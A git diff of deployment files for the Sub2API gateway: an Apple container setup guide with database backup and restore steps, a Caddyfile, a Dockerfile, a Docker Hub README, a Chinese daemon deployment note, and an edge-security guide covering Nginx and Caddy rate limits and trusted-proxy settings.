|
||||
```
|
||||
|
||||
Apple-specific image overrides are available:
|
||||
|
||||
```dotenv
|
||||
APPLE_CONTAINER_SUB2API_IMAGE=weishaw/sub2api:latest
|
||||
APPLE_CONTAINER_POSTGRES_IMAGE=postgres:18-alpine
|
||||
APPLE_CONTAINER_REDIS_IMAGE=redis:8-alpine
|
||||
```
|
||||
|
||||
The normal `up` command recreates the application container, so application environment changes are applied immediately. Use `up --recreate` when changing PostgreSQL or Redis container images or Redis runtime configuration. Persistent data remains in named volumes.
|
||||
|
||||
`POSTGRES_USER`, `POSTGRES_PASSWORD`, and `POSTGRES_DB` are applied only when PostgreSQL initializes an empty data volume. Changing them in `.env` and recreating the container does not change an existing database. Rotate a password with `ALTER ROLE`, and plan explicit migrations for user or database changes. To intentionally initialize a new empty database, first back up the old one and use `destroy --volumes`.
|
||||
|
||||
Apple-specific handling of shared settings:
|
||||
|
||||
| Setting | Apple workflow behavior |
|
||||
|---|---|
|
||||
| Application and gateway variables | Passed to Sub2API from `.env` |
|
||||
| `BIND_HOST`, `SERVER_PORT` | Used for the macOS published port |
|
||||
| `POSTGRES_USER`, `POSTGRES_PASSWORD`, `POSTGRES_DB` | PostgreSQL first initialization only |
|
||||
| `REDIS_PASSWORD` | Applied to Redis and Sub2API |
|
||||
| `DATABASE_PORT`, `REDIS_PORT` | Internal ports are fixed to 5432 and 6379 |
|
||||
| `POSTGRES_MAX_*`, `REDIS_MAXCLIENTS` | Not currently applied to the database/cache server |
|
||||
|
||||
## Managed Resources
|
||||
|
||||
The script creates only resources carrying the `org.sub2api.stack=apple-container` label:
|
||||
|
||||
| Type | Names |
|
||||
|---|---|
|
||||
| Containers | `sub2api-apple`, `sub2api-apple-postgres`, `sub2api-apple-redis` |
|
||||
| Network | `sub2api-apple` |
|
||||
| Volumes | `sub2api-apple-data`, `sub2api-apple-postgres-data`, `sub2api-apple-redis-data` |
|
||||
|
||||
The PostgreSQL volume is mounted at `/var/lib/postgresql`, retaining PostgreSQL 18's default child data directory. Sub2API and Redis also store data in child directories below their Apple volume mount points. This is required because Apple named volumes do not have Docker's copy-up and mount-point ownership behavior.
|
||||
|
||||
## Networking
|
||||
|
||||
Apple `container` 1.1 does not provide Compose-style network-scoped service aliases. After PostgreSQL and Redis start, the script reads their current private-network IPv4 addresses from `container inspect`, injects those addresses into a newly created application container, and then starts Sub2API. The script does not modify `~/.config/container/config.toml` or the macOS host resolver.
|
||||
|
||||
All three services attach only to the private `sub2api-apple` network. Only the application publishes a host port; database and Redis ports remain unpublished.
|
||||
|
||||
The application container is intentionally recreated by every `up` and `restart` operation because dependency VM addresses can change after they stop. Application data remains in `sub2api-apple-data`.
|
||||
|
||||
The script checks the published `/health` endpoint from macOS before reporting success. Approve the Local Network prompt on first startup. If the internal probe succeeds but the host-port probe fails with a connection reset, enable Local Network access for `container-runtime-linux`, run `container system stop` followed by `container system start`, and then run `up` again. Runtime upgrades may prompt for permission again.
|
||||
|
||||
## Backup and Upgrade
|
||||
|
||||
Pin image release tags or digests in `.env` before using this workflow for persistent data. Before an application or database image upgrade, create backups while the stack is healthy:
|
||||
|
||||
```bash
|
||||
umask 077
|
||||
mkdir -p backups
|
||||
|
||||
# Logical PostgreSQL backup.
|
||||
container exec sub2api-apple sh -c \
|
||||
'PGPASSWORD="$DATABASE_PASSWORD" pg_dump -h "$DATABASE_HOST" -U "$DATABASE_USER" "$DATABASE_DBNAME"' \
|
||||
> backups/sub2api.sql
|
||||
|
||||
# Application configuration and local files.
|
||||
container exec sub2api-apple sh -c 'tar -C "$DATA_DIR" -czf - .' \
|
||||
> backups/sub2api-data.tar.gz
|
||||
|
||||
./apple-container.sh pull
|
||||
./apple-container.sh up --recreate
|
||||
./apple-container.sh status
|
||||
```
|
||||
|
||||
Database migrations are forward-only. Keep the previous image reference and both backups until the upgraded stack has been validated; image rollback alone cannot reverse a migrated database. Test restore procedures before relying on this workflow for important data.
|
||||
|
||||
To restore these backups into an existing stack, first ensure the image versions are compatible with the backup, then stop writers and replace both data sets:
|
||||
|
||||
```bash
|
||||
# Ensure empty/current resources exist, then stop the stack.
|
||||
./apple-container.sh up
|
||||
./apple-container.sh down
|
||||
|
||||
# Remove only the app container so a helper can mount its named volume.
|
||||
container delete sub2api-apple
|
||||
SUB2API_IMAGE=weishaw/sub2api:latest # Match APPLE_CONTAINER_SUB2API_IMAGE in .env.
|
||||
container run --rm --name sub2api-apple-data-restore \
|
||||
--entrypoint /bin/sh \
|
||||
--volume sub2api-apple-data:/restore \
|
||||
--volume "$PWD/backups:/backup:ro" \
|
||||
"$SUB2API_IMAGE" \
|
||||
-c 'rm -rf /restore/data && mkdir -p /restore/data && tar -xzf /backup/sub2api-data.tar.gz -C /restore/data'
|
||||
|
||||
# Restore the logical database while the application is absent.
|
||||
container start sub2api-apple-postgres
|
||||
until container exec sub2api-apple-postgres sh -c 'pg_isready -U "$POSTGRES_USER" -d "$POSTGRES_DB"'; do sleep 1; done
|
||||
container copy backups/sub2api.sql sub2api-apple-postgres:/tmp/sub2api.sql
|
||||
container exec sub2api-apple-postgres sh -c '
|
||||
export PGPASSWORD="$POSTGRES_PASSWORD"
|
||||
dropdb -h 127.0.0.1 -U "$POSTGRES_USER" --if-exists --force "$POSTGRES_DB"
|
||||
createdb -h 127.0.0.1 -U "$POSTGRES_USER" "$POSTGRES_DB"
|
||||
psql -h 127.0.0.1 -U "$POSTGRES_USER" -d "$POSTGRES_DB" -v ON_ERROR_STOP=1 -f /tmp/sub2api.sql
|
||||
rm /tmp/sub2api.sql
|
||||
'
|
||||
|
||||
./apple-container.sh up
|
||||
./apple-container.sh status
|
||||
```
|
||||
|
||||
For disaster recovery after deleting the named volumes, run `up` once to create a fresh stack before following the restore sequence. Perform restore drills with non-production data first.
|
||||
|
||||
To upgrade the Apple runtime itself:
|
||||
|
||||
```bash
|
||||
./apple-container.sh down
|
||||
container system stop
|
||||
# Install/update Apple container 1.1.0 or newer.
|
||||
container system start
|
||||
./apple-container.sh up
|
||||
```
|
||||
|
||||
## Operational Limitations
|
||||
|
||||
- There is no `restart: unless-stopped` equivalent. Run `up` after reboot, or add your own launchd supervisor.
|
||||
- Health probes run during `up`, `restart`, and `status`; Apple `container` does not continuously schedule them.
|
||||
- Docker Compose, Testcontainers, Buildx, and tools requiring `/var/run/docker.sock` cannot use this runtime directly.
|
||||
- Named volume backup and restore must be tested before using this workflow for important data.
|
||||
- The script targets native `linux/arm64` images. The normal Sub2API release publishes an arm64 variant.
|
||||
- Runtime environment values, including credentials, are retained in Apple container configuration and are visible to users who can inspect the local runtime.
|
||||
@@ -0,0 +1,112 @@
|
||||
{
|
||||
servers {
|
||||
max_header_size 64KB
|
||||
timeouts {
|
||||
read_header 10s
|
||||
idle 2m
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
# 修改为你的域名
|
||||
api.sub2api.com {
|
||||
# This baseline assumes clients connect directly to Caddy. When Caddy is
|
||||
# behind a CDN, configure explicit trusted proxy CIDRs and {client_ip} as
|
||||
# documented in EDGE_SECURITY.md; {remote_host} would otherwise be the CDN.
|
||||
# =========================================================================
|
||||
# TLS 安全配置
|
||||
# =========================================================================
|
||||
tls {
|
||||
# 仅使用 TLS 1.2 和 1.3
|
||||
protocols tls1.2 tls1.3
|
||||
|
||||
# 优先使用的加密套件
|
||||
ciphers TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384 TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256 TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256 TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256 TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
|
||||
}
|
||||
|
||||
# =========================================================================
|
||||
# 反向代理配置
|
||||
# =========================================================================
|
||||
reverse_proxy localhost:8080 {
|
||||
# 健康检查
|
||||
health_uri /health
|
||||
health_interval 30s
|
||||
health_timeout 10s
|
||||
health_status 200
|
||||
|
||||
# 负载均衡策略(单节点可忽略,多节点时有用)
|
||||
lb_policy round_robin
|
||||
lb_try_duration 5s
|
||||
lb_try_interval 250ms
|
||||
|
||||
# 仅从实际 TCP 对端生成转发头,避免透传客户端伪造值。
|
||||
header_up X-Real-IP {remote_host}
|
||||
header_up X-Forwarded-For {remote_host}
|
||||
header_up X-Forwarded-Proto {scheme}
|
||||
header_up X-Forwarded-Host {host}
|
||||
# 连接池优化
|
||||
transport http {
|
||||
keepalive 120s
|
||||
keepalive_idle_conns 256
|
||||
read_buffer 16KB
|
||||
write_buffer 16KB
|
||||
compression off
|
||||
}
|
||||
|
||||
# 故障转移
|
||||
fail_duration 30s
|
||||
max_fails 3
|
||||
unhealthy_status 500 502 503 504
|
||||
}
|
||||
|
||||
# =========================================================================
|
||||
# 压缩配置
|
||||
# =========================================================================
|
||||
encode {
|
||||
zstd
|
||||
gzip 6
|
||||
minimum_length 256
|
||||
match {
|
||||
# 不使用 text/*,否则 text/event-stream 会被压缩并缓冲到流结束
|
||||
header Content-Type text/css*
|
||||
header Content-Type text/csv*
|
||||
header Content-Type text/html*
|
||||
header Content-Type text/javascript*
|
||||
header Content-Type text/markdown*
|
||||
header Content-Type text/plain*
|
||||
header Content-Type text/xml*
|
||||
header Content-Type application/json*
|
||||
header Content-Type application/javascript*
|
||||
header Content-Type application/xml*
|
||||
header Content-Type application/rss+xml*
|
||||
header Content-Type image/svg+xml*
|
||||
}
|
||||
}
|
||||
|
||||
# =========================================================================
|
||||
# 请求大小限制 (防止大文件攻击)
|
||||
# =========================================================================
|
||||
request_body {
|
||||
max_size 256MB
|
||||
}
|
||||
|
||||
# =========================================================================
|
||||
# 日志配置
|
||||
# =========================================================================
|
||||
log {
|
||||
output file /var/log/caddy/sub2api.log {
|
||||
roll_size 50mb
|
||||
roll_keep 10
|
||||
roll_keep_for 720h
|
||||
}
|
||||
format json
|
||||
level INFO
|
||||
}
|
||||
|
||||
# =========================================================================
|
||||
# 错误处理
|
||||
# =========================================================================
|
||||
handle_errors {
|
||||
respond "{err.status_code} {err.status_text}"
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,78 @@
|
||||
# datamanagementd 部署说明(数据管理)
|
||||
|
||||
本文说明如何在宿主机部署 `datamanagementd`,并与主进程联动开启“数据管理”功能。
|
||||
|
||||
## 1. 关键约束
|
||||
|
||||
- 主进程固定探测路径:`/tmp/sub2api-datamanagement.sock`
|
||||
- 仅当该 Unix Socket 可连通且 `Health` 成功时,后台“数据管理”才会启用
|
||||
- `datamanagementd` 使用 SQLite 持久化元数据,不依赖主库
|
||||
|
||||
## 2. 宿主机构建与运行
|
||||
|
||||
```bash
|
||||
cd /opt/sub2api-src/datamanagement
|
||||
go build -o /opt/sub2api/datamanagementd ./cmd/datamanagementd
|
||||
|
||||
mkdir -p /var/lib/sub2api/datamanagement
|
||||
chown -R sub2api:sub2api /var/lib/sub2api/datamanagement
|
||||
```
|
||||
|
||||
手动启动示例:
|
||||
|
||||
```bash
|
||||
/opt/sub2api/datamanagementd \
|
||||
-socket-path /tmp/sub2api-datamanagement.sock \
|
||||
-sqlite-path /var/lib/sub2api/datamanagement/datamanagementd.db \
|
||||
-version 1.0.0
|
||||
```
|
||||
|
||||
## 3. systemd 托管(推荐)
|
||||
|
||||
仓库已提供示例服务文件:`deploy/sub2api-datamanagementd.service`
|
||||
|
||||
```bash
|
||||
sudo cp deploy/sub2api-datamanagementd.service /etc/systemd/system/
|
||||
sudo systemctl daemon-reload
|
||||
sudo systemctl enable --now sub2api-datamanagementd
|
||||
sudo systemctl status sub2api-datamanagementd
|
||||
```
|
||||
|
||||
查看日志:
|
||||
|
||||
```bash
|
||||
sudo journalctl -u sub2api-datamanagementd -f
|
||||
```
|
||||
|
||||
也可以使用一键安装脚本(自动安装二进制 + 注册 systemd):
|
||||
|
||||
```bash
|
||||
# 方式一:使用现成二进制
|
||||
sudo ./deploy/install-datamanagementd.sh --binary /path/to/datamanagementd
|
||||
|
||||
# 方式二:从源码构建后安装
|
||||
sudo ./deploy/install-datamanagementd.sh --source /path/to/sub2api
|
||||
```
|
||||
|
||||
## 4. Docker 部署联动
|
||||
|
||||
若 `sub2api` 运行在 Docker 容器中,需要将宿主机 Socket 挂载到容器同路径:
|
||||
|
||||
```yaml
|
||||
services:
|
||||
sub2api:
|
||||
volumes:
|
||||
- /tmp/sub2api-datamanagement.sock:/tmp/sub2api-datamanagement.sock
|
||||
```
|
||||
|
||||
建议在 `docker-compose.override.yml` 中维护该挂载,避免覆盖主 compose 文件。
|
||||
|
||||
## 5. 依赖检查
|
||||
|
||||
`datamanagementd` 执行备份时依赖以下工具:
|
||||
|
||||
- `pg_dump`
|
||||
- `redis-cli`
|
||||
- `docker`(仅 `source_mode=docker_exec` 时)
|
||||
|
||||
缺失依赖会导致对应任务失败,并在任务详情中体现错误信息。
|
||||
@@ -0,0 +1,76 @@
|
||||
# Sub2API Docker Image
|
||||
|
||||
Sub2API is an AI API Gateway Platform for distributing and managing AI product subscription API quotas.
|
||||
|
||||
## Quick Start
|
||||
|
||||
```bash
|
||||
docker run -d \
|
||||
--name sub2api \
|
||||
-p 8080:8080 \
|
||||
-e DATABASE_URL="postgres://user:pass@host:5432/sub2api" \
|
||||
-e REDIS_URL="redis://host:6379" \
|
||||
weishaw/sub2api:latest
|
||||
```
|
||||
|
||||
## Docker Compose
|
||||
|
||||
```yaml
|
||||
version: '3.8'
|
||||
|
||||
services:
|
||||
sub2api:
|
||||
image: weishaw/sub2api:latest
|
||||
ports:
|
||||
- "8080:8080"
|
||||
environment:
|
||||
- DATABASE_URL=postgres://postgres:postgres@db:5432/sub2api?sslmode=disable
|
||||
- REDIS_URL=redis://redis:6379
|
||||
depends_on:
|
||||
- db
|
||||
- redis
|
||||
|
||||
db:
|
||||
image: postgres:15-alpine
|
||||
environment:
|
||||
- POSTGRES_USER=postgres
|
||||
- POSTGRES_PASSWORD=postgres
|
||||
- POSTGRES_DB=sub2api
|
||||
volumes:
|
||||
- postgres_data:/var/lib/postgresql/data
|
||||
|
||||
redis:
|
||||
image: redis:7-alpine
|
||||
volumes:
|
||||
- redis_data:/data
|
||||
|
||||
volumes:
|
||||
postgres_data:
|
||||
redis_data:
|
||||
```
|
||||
|
||||
## Environment Variables
|
||||
|
||||
| Variable | Description | Required | Default |
|
||||
|----------|-------------|----------|---------|
|
||||
| `DATABASE_URL` | PostgreSQL connection string | Yes | - |
|
||||
| `REDIS_URL` | Redis connection string | Yes | - |
|
||||
| `PORT` | Server port | No | `8080` |
|
||||
| `GIN_MODE` | Gin framework mode (`debug`/`release`) | No | `release` |
|
||||
|
||||
## Supported Architectures
|
||||
|
||||
- `linux/amd64`
|
||||
- `linux/arm64`
|
||||
|
||||
## Tags
|
||||
|
||||
- `latest` - Latest stable release
|
||||
- `x.y.z` - Specific version
|
||||
- `x.y` - Latest patch of minor version
|
||||
- `x` - Latest minor of major version
|
||||
|
||||
## Links
|
||||
|
||||
- [GitHub Repository](https://github.com/weishaw/sub2api)
|
||||
- [Documentation](https://github.com/weishaw/sub2api#readme)
|
||||
@@ -0,0 +1,126 @@
|
||||
# =============================================================================
|
||||
# Sub2API Multi-Stage Dockerfile
|
||||
# =============================================================================
|
||||
# Stage 1: Build frontend
|
||||
# Stage 2: Build Go backend with embedded frontend
|
||||
# Stage 3: Final minimal image
|
||||
# =============================================================================
|
||||
|
||||
ARG NODE_IMAGE=node:24-alpine
|
||||
ARG GOLANG_IMAGE=golang:1.26.6-alpine
|
||||
ARG ALPINE_IMAGE=alpine:3.20
|
||||
ARG GOPROXY=https://goproxy.cn,direct
|
||||
ARG GOSUMDB=sum.golang.google.cn
|
||||
|
||||
# -----------------------------------------------------------------------------
|
||||
# Stage 1: Frontend Builder
|
||||
# -----------------------------------------------------------------------------
|
||||
FROM ${NODE_IMAGE} AS frontend-builder
|
||||
|
||||
WORKDIR /app/frontend
|
||||
ENV NODE_OPTIONS=--max-old-space-size=1536
|
||||
|
||||
# Install pnpm. Keep this pinned to the lockfile-compatible major version so
|
||||
# Docker builds remain reproducible when pnpm changes config validation rules.
|
||||
RUN corepack enable && corepack prepare pnpm@9.15.9 --activate
|
||||
|
||||
# Install dependencies first (better caching)
|
||||
COPY frontend/package.json frontend/pnpm-lock.yaml ./
|
||||
RUN pnpm install --frozen-lockfile
|
||||
|
||||
# Copy frontend source and build.
|
||||
# LegalDocumentView.vue (admin-compliance gate) build-time imports
|
||||
# ../../../../docs/legal/*.md?raw, so docs/legal/ must sit beside frontend/
|
||||
# in the image (WORKDIR /app/frontend -> resolves to /app/docs/legal/*.md).
|
||||
# Copy only that subtree to keep the build dependency minimal.
|
||||
COPY frontend/ ./
|
||||
COPY docs/legal/ /app/docs/legal/
|
||||
RUN pnpm run build
|
||||
|
||||
# -----------------------------------------------------------------------------
|
||||
# Stage 2: Backend Builder
|
||||
# -----------------------------------------------------------------------------
|
||||
FROM ${GOLANG_IMAGE} AS backend-builder
|
||||
|
||||
# Build arguments for version info (set by CI)
|
||||
ARG VERSION=
|
||||
ARG COMMIT=docker
|
||||
ARG DATE
|
||||
ARG GOPROXY
|
||||
ARG GOSUMDB
|
||||
|
||||
ENV GOPROXY=${GOPROXY}
|
||||
ENV GOSUMDB=${GOSUMDB}
|
||||
|
||||
# Install build dependencies
|
||||
RUN apk add --no-cache git ca-certificates tzdata
|
||||
|
||||
WORKDIR /app/backend
|
||||
|
||||
# Copy go mod files first (better caching)
|
||||
COPY backend/go.mod backend/go.sum ./
|
||||
RUN go mod download
|
||||
|
||||
# Copy backend source first
|
||||
COPY backend/ ./
|
||||
|
||||
# Copy frontend dist from previous stage (must be after backend copy to avoid being overwritten)
|
||||
COPY --from=frontend-builder /app/backend/internal/web/dist ./internal/web/dist
|
||||
|
||||
# Build the binary (BuildType=release for CI builds, embed frontend)
|
||||
# Version precedence: build arg VERSION > exact git tag > cmd/server/VERSION
|
||||
RUN VERSION_VALUE="${VERSION}" && \
|
||||
if [ -z "${VERSION_VALUE}" ]; then VERSION_VALUE="$(./scripts/resolve-version.sh)"; fi && \
|
||||
DATE_VALUE="${DATE:-$(date -u +%Y-%m-%dT%H:%M:%SZ)}" && \
|
||||
CGO_ENABLED=0 GOOS=linux go build \
|
||||
-tags embed \
|
||||
-ldflags="-s -w -X main.Version=${VERSION_VALUE} -X main.Commit=${COMMIT} -X main.Date=${DATE_VALUE} -X main.BuildType=release" \
|
||||
-o /app/sub2api \
|
||||
./cmd/server
|
||||
|
||||
# -----------------------------------------------------------------------------
|
||||
# Stage 3: Final Runtime Image
|
||||
# -----------------------------------------------------------------------------
|
||||
FROM ${ALPINE_IMAGE}
|
||||
|
||||
# Labels
|
||||
LABEL maintainer="Wei-Shaw <github.com/Wei-Shaw>"
|
||||
LABEL description="Sub2API - AI API Gateway Platform"
|
||||
LABEL org.opencontainers.image.source="https://github.com/Wei-Shaw/sub2api"
|
||||
|
||||
# Install runtime dependencies
|
||||
RUN apk add --no-cache \
|
||||
ca-certificates \
|
||||
tzdata \
|
||||
curl \
|
||||
su-exec \
|
||||
&& rm -rf /var/cache/apk/*
|
||||
|
||||
# Create non-root user
|
||||
RUN addgroup -g 1000 sub2api && \
|
||||
adduser -u 1000 -G sub2api -s /bin/sh -D sub2api
|
||||
|
||||
# Set working directory
|
||||
WORKDIR /app
|
||||
|
||||
# Copy binary and runtime fallback resources from builder
|
||||
COPY --from=backend-builder /app/sub2api /app/sub2api
|
||||
COPY --from=backend-builder --chown=sub2api:sub2api /app/backend/resources /app/resources
|
||||
|
||||
# Create data directory
|
||||
RUN mkdir -p /app/data && chown -R sub2api:sub2api /app
|
||||
|
||||
# Copy entrypoint script (fixes volume permissions then drops to sub2api)
|
||||
COPY deploy/docker-entrypoint.sh /app/docker-entrypoint.sh
|
||||
RUN chmod +x /app/docker-entrypoint.sh
|
||||
|
||||
# Expose port (can be overridden by SERVER_PORT env var)
|
||||
EXPOSE 8080
|
||||
|
||||
# Health check
|
||||
HEALTHCHECK --interval=30s --timeout=10s --start-period=10s --retries=3 \
|
||||
CMD wget -q -T 5 -O /dev/null http://localhost:${SERVER_PORT:-8080}/health || exit 1
|
||||
|
||||
# Run the application (entrypoint fixes /app/data ownership then execs as sub2api)
|
||||
ENTRYPOINT ["/app/docker-entrypoint.sh"]
|
||||
CMD ["/app/sub2api"]
|
||||
@@ -0,0 +1,209 @@
|
||||
# Edge and HTTP Ingress Security
|
||||
|
||||
Sub2API supports long-lived SSE and WebSocket requests. Protect the request
|
||||
ingress without imposing a response `WriteTimeout`: a write deadline would
|
||||
terminate healthy long generations and streams.
|
||||
|
||||
## Application defaults
|
||||
|
||||
- `server.max_header_bytes: 65536` limits HTTP/1 request headers to 64 KiB;
|
||||
Go maps it to the corresponding HTTP/2 header-list limit.
|
||||
- `server.read_header_timeout: 10` bounds slow-header attacks. It does not
|
||||
limit request processing or response streaming.
|
||||
- `server.max_request_body_size: 268435456` is the absolute 256 MiB safety net.
|
||||
- `gateway.max_body_size: 268435456` remains available to multimodal, Gemini,
|
||||
image, video, and batch-image endpoints.
|
||||
- `gateway.text_max_body_size: 33554432` limits the known pure-text
|
||||
`/embeddings` and `/alpha/search` endpoints to 32 MiB.
|
||||
- H2C defaults to 50 concurrent streams per connection, a 2 MiB connection
|
||||
upload window, and a 512 KiB stream upload window.
|
||||
- Invalid credential abuse is limited in process by trusted client IP (IPv6
|
||||
`/64`): 120 failures per 60 seconds followed by a 60-second block. This is a
|
||||
per-instance safety net; multi-instance enforcement still belongs at the
|
||||
load balancer, CDN, or WAF.
|
||||
|
||||
Do not add a single application-wide request semaphore: an SSE request may
|
||||
legitimately occupy it for many minutes. Apply connection and unauthenticated
|
||||
request controls at the edge; authenticated user/API-key concurrency remains
|
||||
the application's responsibility.
|
||||
|
||||
## Trusted client IPs
|
||||
|
||||
`security.trust_forwarded_ip_for_api_key_acl` is enabled by default for upgrade
|
||||
compatibility. While enabled, raw forwarding headers take over client-IP
|
||||
resolution for logs and security-sensitive paths. Custom headers from
|
||||
`security.forwarded_client_ip_headers` are checked in configured order before
|
||||
the built-in `CF-Connecting-IP`, `X-Real-IP`, and `X-Forwarded-For` fallback.
|
||||
Header names are case-insensitive, normalized when loaded, de-duplicated, and
|
||||
limited to 16 unique valid HTTP field names. Header values must contain IP
|
||||
literals; comma-separated values are supported, invalid entries are skipped,
|
||||
and public addresses are preferred over private fallback addresses.
|
||||
|
||||
The list can be supplied in YAML or with the comma-separated environment
|
||||
variable `SECURITY_FORWARDED_CLIENT_IP_HEADERS`; an explicitly empty environment
|
||||
value clears YAML values. It is also editable from the admin security settings
|
||||
and updates at runtime without a restart. A request snapshots the switch and
|
||||
header list together, so one request cannot mix old and new settings. Custom
|
||||
headers are ignored completely when the switch is disabled. In that mode Gin's
|
||||
`server.trusted_proxies` chain is authoritative: configure only the exact
|
||||
CIDR/IP addresses that connect directly to Sub2API. An explicit empty list
|
||||
trusts no forwarded client IPs.
|
||||
|
||||
On the first upgrade to this mode, a legacy `false` value is changed to `true`
|
||||
only when `server.trusted_proxies` was not explicitly configured; explicit
|
||||
proxy policies remain in secure mode. New installations persist the configured
|
||||
custom header list during database initialization. Existing installations
|
||||
backfill a missing database value from the YAML configuration. A hidden
|
||||
migration marker prevents later administrator changes from being overwritten.
|
||||
If settings cannot be read or the persisted custom-header list is malformed,
|
||||
the process fails closed to trusted-proxy mode with no custom headers. If a
|
||||
migration write fails, the computed mode remains active for the current process
|
||||
and startup records a warning.
|
||||
|
||||
Compatibility takeover accepts forwarded headers without validating the direct
|
||||
peer, including any configured custom header. Protect the origin from direct
|
||||
access while it is enabled. A CDN deployment must firewall the origin so only
|
||||
the CDN or load balancer can reach it, and that proxy must overwrite every
|
||||
trusted client-IP header rather than append an untrusted client value.
|
||||
|
||||
Example for a proxy on the same host:
|
||||
|
||||
```yaml
|
||||
server:
|
||||
trusted_proxies:
|
||||
- 127.0.0.1/32
|
||||
- ::1/128
|
||||
```
|
||||
|
||||
## Nginx baseline
|
||||
|
||||
Define shared zones in the `http` block. Tune rates to measured legitimate
|
||||
traffic; the values below are conservative starting points, not universal
|
||||
capacity targets.
|
||||
|
||||
```nginx
|
||||
limit_conn_zone $binary_remote_addr zone=sub2api_conn:20m;
|
||||
limit_req_zone $binary_remote_addr zone=sub2api_auth:20m rate=5r/s;
|
||||
limit_req_zone $binary_remote_addr zone=sub2api_api:40m rate=30r/s;
|
||||
map $http_upgrade $connection_upgrade {
|
||||
default upgrade;
|
||||
'' close;
|
||||
}
|
||||
|
||||
server {
|
||||
listen 443 ssl http2;
|
||||
server_name api.example.com;
|
||||
|
||||
client_header_timeout 10s;
|
||||
client_max_body_size 256m;
|
||||
large_client_header_buffers 4 16k;
|
||||
limit_conn sub2api_conn 40;
|
||||
|
||||
location ~ ^/(auth|api/auth)/ {
|
||||
limit_req zone=sub2api_auth burst=10 nodelay;
|
||||
proxy_pass http://127.0.0.1:8080;
|
||||
}
|
||||
|
||||
location ~ ^/(v1/)?(embeddings|alpha/search)$ {
|
||||
client_max_body_size 32m;
|
||||
limit_req zone=sub2api_api burst=60 nodelay;
|
||||
proxy_pass http://127.0.0.1:8080;
|
||||
}
|
||||
|
||||
location / {
|
||||
limit_req zone=sub2api_api burst=60 nodelay;
|
||||
proxy_http_version 1.1;
|
||||
proxy_set_header Host $host;
|
||||
proxy_set_header X-Real-IP $remote_addr;
|
||||
proxy_set_header X-Forwarded-For $remote_addr;
|
||||
proxy_set_header X-Forwarded-Proto $scheme;
|
||||
proxy_set_header Upgrade $http_upgrade;
|
||||
proxy_set_header Connection $connection_upgrade;
|
||||
proxy_buffering off;
|
||||
proxy_request_buffering off;
|
||||
proxy_read_timeout 1800s;
|
||||
proxy_send_timeout 1800s;
|
||||
proxy_pass http://127.0.0.1:8080;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
If Nginx gzip is enabled in the `http` block, keep `text/event-stream` out of
|
||||
`gzip_types` and do not use `gzip_types *` for Sub2API. The
|
||||
`proxy_buffering off` setting above prevents proxy buffering, but it does not
|
||||
disable the gzip response filter. Use an explicit list for ordinary responses:
|
||||
|
||||
```nginx
|
||||
gzip on;
|
||||
gzip_types text/plain text/css application/json application/javascript application/xml image/svg+xml;
|
||||
```
|
||||
|
||||
If a shared global configuration cannot exclude SSE by content type, set
|
||||
`gzip off;` in the locations serving streaming API routes. This leaves gzip
|
||||
available for the web UI and static assets.
|
||||
|
||||
Do not use an incoming `$http_x_forwarded_for` value unless Nginx real-IP
|
||||
processing is restricted to explicit trusted proxy CIDRs.
|
||||
|
||||
## Caddy and CDN
|
||||
|
||||
The bundled `deploy/Caddyfile` sets a 64 KiB header limit, a 10-second header
|
||||
timeout, a 256 MiB absolute body limit, and overwrites forwarded addresses from
|
||||
the TCP peer. It is therefore a direct-to-Caddy baseline. Do not use its
|
||||
`{remote_host}` forwarding lines unchanged behind a CDN: all clients would be
|
||||
attributed to a CDN egress address, collapsing rejection aggregation and the
|
||||
invalid-auth limiter onto unrelated users.
|
||||
|
||||
The bundled Caddy configuration leaves `flush_interval` unset so Caddy can
|
||||
automatically flush `text/event-stream` responses while still propagating
|
||||
client cancellation upstream. Do not set it globally: positive values can add
|
||||
streaming latency, while Caddy 2.6.2's special `-1` mode also causes
|
||||
reverse-proxied requests to continue after clients disconnect. The
|
||||
configuration uses an explicit response content-type list for compression. Do
|
||||
not replace that list with `text/*` or the shorthand `encode gzip zstd`: both
|
||||
match `text/event-stream` and can buffer SSE until the response ends. Keep
|
||||
streaming responses uncompressed while retaining compression for the web UI,
|
||||
JSON, and static assets.
|
||||
|
||||
For a CDN deployment, first firewall the origin so only current CDN egress
|
||||
CIDRs can connect. Then configure those exact ranges as Caddy trusted proxies
|
||||
and derive upstream headers from Caddy's parsed `{client_ip}`. For example:
|
||||
|
||||
```caddyfile
|
||||
{
|
||||
servers {
|
||||
trusted_proxies static 192.0.2.0/24 2001:db8:1234::/48
|
||||
trusted_proxies_strict
|
||||
client_ip_headers CF-Connecting-IP X-Forwarded-For
|
||||
}
|
||||
}
|
||||
|
||||
api.example.com {
|
||||
reverse_proxy 127.0.0.1:8080 {
|
||||
header_up X-Real-IP {client_ip}
|
||||
header_up X-Forwarded-For {client_ip}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Replace the documentation ranges with the CDN's published, automatically
|
||||
maintained egress ranges. `CF-Connecting-IP` is safe here only because direct
|
||||
origin access is blocked and Caddy trusts only those TCP peers. Configure
|
||||
Sub2API `server.trusted_proxies` with the Caddy address/private subnet so the
|
||||
application accepts only Caddy's rewritten headers.
|
||||
|
||||
Caddy core does not provide a general request-rate limiter; use a trusted
|
||||
CDN/WAF, a supported rate-limit module, or host firewall controls.
|
||||
|
||||
At a CDN/WAF, configure connection limits, header/body limits, bot challenges,
|
||||
and per-IP/ASN rates before traffic reaches the origin. Allow origin ingress
|
||||
only from CDN egress CIDRs or a private load balancer. Keep the application port
|
||||
off the public Internet.
|
||||
|
||||
## DDoS boundary
|
||||
|
||||
Application checks reduce amplification after a connection reaches Go. They
|
||||
cannot absorb volumetric attacks, TLS floods, bandwidth saturation, or a large
|
||||
distributed source set. Those require upstream network capacity, CDN/WAF
|
||||
filtering, provider firewall rules, and origin isolation. Avoid high-cardinality
|
||||
metrics or per-request database security logs during rejection storms.
|
||||
@@ -0,0 +1,44 @@
|
||||
.PHONY: wire build build-embed test-unit test-integration test-e2e test-cover-integration
|
||||
|
||||
VERSION ?= $(shell ./scripts/resolve-version.sh)
|
||||
LDFLAGS ?= -s -w -X main.Version=$(VERSION)
|
||||
|
||||
wire:
|
||||
@echo "生成 Wire 代码..."
